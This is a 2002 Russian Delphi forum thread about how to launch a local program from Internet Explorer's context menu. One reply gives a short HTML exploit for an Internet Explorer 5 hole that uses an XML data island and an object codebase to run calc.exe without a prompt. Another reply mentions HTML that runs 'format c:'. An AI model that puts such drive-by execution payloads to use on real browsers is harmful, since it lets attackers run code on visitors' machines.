Top.Mail.Ru
Мастера DELPHI, Delphi programming community Титульная страница Поиск, карта сайта Написать письмо 
| Новости | Поиск | FAQ | Статьи | Книги | Новости VCL |
| Форумы ЧАТ | Орешник | KOL и MCK |
Форумы -» Основная («Начинающим»)/ Базы / WinAPI / Компоненты / Сети / Media / Игры / Corba и COM / KOL / FreePascal / .Net / Прочее / RSDN.ORG

« предыдущая ветвь | форум | следующая ветвь »

Можно-ли из html-документа запустить экзешник?


kofman ©   (2002-11-22 23:48:00) 

Нужно для того что бы из контекстного меню IE можно было запустить мою программу, а эксплорер не умеет напрямую запустить exe-файл, надо через посредника. Можно ли написать такой html запустив который запустится моя программа с диска?


ShaggyDoc   (2002-11-25 07:00:00) [1]

Например, дыра в Internet Explorer 5. Вставь на страницу код и проверь:


<span datasrc="#oExec" datafld="exploit" dataformatas="html"></span><xml id="oExec">
<security>
<exploit>
<![CDATA[
<object id="oFile" classid="clsid:11111111-1111-1111-1111-111111111111" codebase="c:/windows/system32/calc.exe"></object>
]]>
</exploit>
</security>
</xml>


И никакой ActiveX из Сети не надо забрасывать, все уже на месте. Но рассчитывать на такую технологию не стоит, эти отнорочки быстро замазываются мукой с цементом.


trotski   (2002-11-24 13:15:00) [2]

Залезь на какой-нибудь www.xakep.ru и посмотри как они через html запускают format c:, была такая статья. Просто пишется код на ActiveX и все прекрасно запускается.


kofman   (2002-11-24 11:33:00) [3]

HELP!!!!


kofman   (2002-11-23 18:46:00) [4]

Да это не то, и в MSDN написано, что прямо из контекстного меню прогу не запустить, надо сначало скрипт запустить а уж потом скрипт запустит прогу (как делает ReGet и FlashGet) но я не могу разобраться в этих скриптах, может кто-то сталкивался и поможет?


Anatoly Podgoretsky   (2002-11-23 15:16:00) [5]

E:\D5\Demos\Activex\Shellext
Правда это только начальный пример, тебе еще много чего придется изучить, полазить по MSDN но я думаю у тебя серьезное желание, а не блажь, так что справишься.


kofman   (2002-11-23 15:12:00) [6]

>Anatoly Podgoretsky я не понял, а какой пример в Делфи есть по контекстному меню? Вообще-то дело не в самом меню а именно в сложности из контекстного меню IE запустить мою программу.


Anatoly Podgoretsky   (2002-11-23 12:39:00) [7]

Умеет, посмотри как это у Reget реализовано, как раз запускается из контекстного меню и в Дельфи есть пример по контекстным меню.


Snap   (2002-11-23 12:28:00) [8]

поясни. А просто ссылку на него не получится?


kofman   (2002-11-23 12:24:00) [9]

А как же быть?


Begin   (2002-11-23 01:23:00) [10]

Нет.


Наверх

Титульная страница Поиск, карта сайта Написать письмо